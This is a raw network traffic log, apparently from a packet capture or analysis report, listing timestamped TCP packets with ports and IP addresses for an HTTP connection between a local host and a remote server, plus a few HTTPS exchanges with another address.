Oct 29, 2024 06:59:36.503520012 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.503549099 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503582001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503593922 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.503618956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503654003 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503688097 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503717899 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.503720045 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503737926 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.503757000 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.503782988 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503834963 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503884077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503916025 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503927946 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.503966093 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503998041 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504041910 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.504045963 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504093885 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504126072 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504133940 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.504158974 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504192114 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504204035 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.504226923 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504260063 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504266977 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.504293919 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504328012 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504333019 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.504362106 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504394054 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504427910 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504436970 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.504699945 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.504736900 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504793882 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.504844904 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504878044 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504910946 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504961967 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.504970074 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.504995108 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.505034924 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.505044937 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.505078077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.505110025 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.505120039 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.505142927 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.505160093 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.505175114 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.505189896 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.505208015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.505209923 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.505240917 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.505274057 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.505280972 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.505306959 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.505342007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.505377054 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.505378962 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.505393028 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.505409956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.505420923 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.506000996 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.506051064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.506059885 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.506087065 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.506128073 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.506135941 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.506186008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.506217957 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.506252050 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.506252050 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.506263971 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.506284952 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.506287098 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.506318092 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.506351948 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.506385088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.506393909 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.506417990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.506450891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.506483078 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.506515026 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.506515980 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.506522894 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.506551027 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.506597042 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.540400028 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.540469885 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.540503979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.540537119 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.540538073 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.540577888 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.540590048 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.540622950 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.540666103 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.561567068 CET	443	49907	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.562191963 CET	49907	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.562230110 CET	443	49907	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.562690973 CET	49907	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.562697887 CET	443	49907	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.577033043 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.577090979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.577125072 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.577124119 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.577168941 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.577178001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.577205896 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.577212095 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.577223063 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.577248096 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.577261925 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.577285051 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.602020025 CET	443	49908	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.602554083 CET	49908	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.602567911 CET	443	49908	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.603017092 CET	49908	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.603023052 CET	443	49908	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.613981009 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.614034891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.614053965 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.614068985 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.614101887 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.614104033 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.614124060 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.614139080 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.614145041 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.614171982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.614222050 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.614669085 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.614726067 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.614759922 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.614782095 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.614794970 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.614813089 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.614841938 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.614846945 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.614898920 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.614928007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.614942074 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.614967108 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.614978075 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615027905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615060091 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615092993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615107059 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.615135908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.615140915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615200043 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615252018 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.615252018 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615299940 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615354061 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.615370989 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615438938 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615470886 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615483999 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.615525961 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615555048 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615565062 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.615590096 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.615602970 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.615603924 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615643024 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.615654945 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615698099 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.615705013 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615755081 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.615772963 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615833998 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615880013 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.615885019 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615916967 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615926981 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.615950108 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615983963 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.615989923 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.616019964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616023064 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.616051912 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616086006 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616117954 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616127014 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.616151094 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616159916 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.616179943 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616203070 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.616214037 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616216898 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.616246939 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616280079 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616313934 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616324902 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.616348028 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616360903 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.616383076 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616415024 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616425037 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.616450071 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616482019 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616514921 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616528988 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.616543055 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616575956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616586924 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.616609097 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616641045 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616672993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616682053 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.616700888 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616704941 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.616734028 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616782904 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616797924 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.616816998 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616851091 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616859913 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.616883993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616919041 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.616966963 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.651020050 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651078939 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651096106 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.651108980 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651140928 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.651144028 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651189089 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.651216984 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651256084 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.651269913 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651299000 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651324034 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.651334047 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.651371002 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651417017 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.651421070 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651457071 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651462078 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.651506901 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651550055 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.651559114 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651592016 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651629925 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651642084 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.651679039 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651712894 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651732922 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.651768923 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651808023 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.651818991 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651848078 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651887894 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.651896000 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651930094 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651962996 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.651969910 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.651998043 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652029991 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652035952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.652062893 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652081013 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.652096987 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.652112007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652144909 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652188063 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.652193069 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652228117 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652260065 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652292967 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652302027 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.652342081 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652375937 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652406931 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652415037 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.652441025 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652473927 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652484894 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.652523041 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652555943 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652565956 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.652606010 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652633905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652646065 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.652667046 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652708054 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.652715921 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652749062 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652781010 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652822971 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.652828932 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652863026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652914047 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652961016 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.652965069 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.652997017 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653029919 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653042078 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653063059 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653095961 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653104067 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653127909 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653161049 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653168917 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653194904 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653228045 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653238058 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653255939 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653295040 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653310061 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653343916 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653376102 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653409004 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653420925 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653440952 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653460979 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653472900 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653476000 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653505087 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653515100 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653537035 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653569937 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653579950 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653604031 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653635025 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653665066 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653666973 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653678894 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653700113 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653703928 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653733969 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653736115 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653767109 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653800964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653809071 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653832912 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653855085 CET	49888	80	192.168.2.5	185.215.113.206
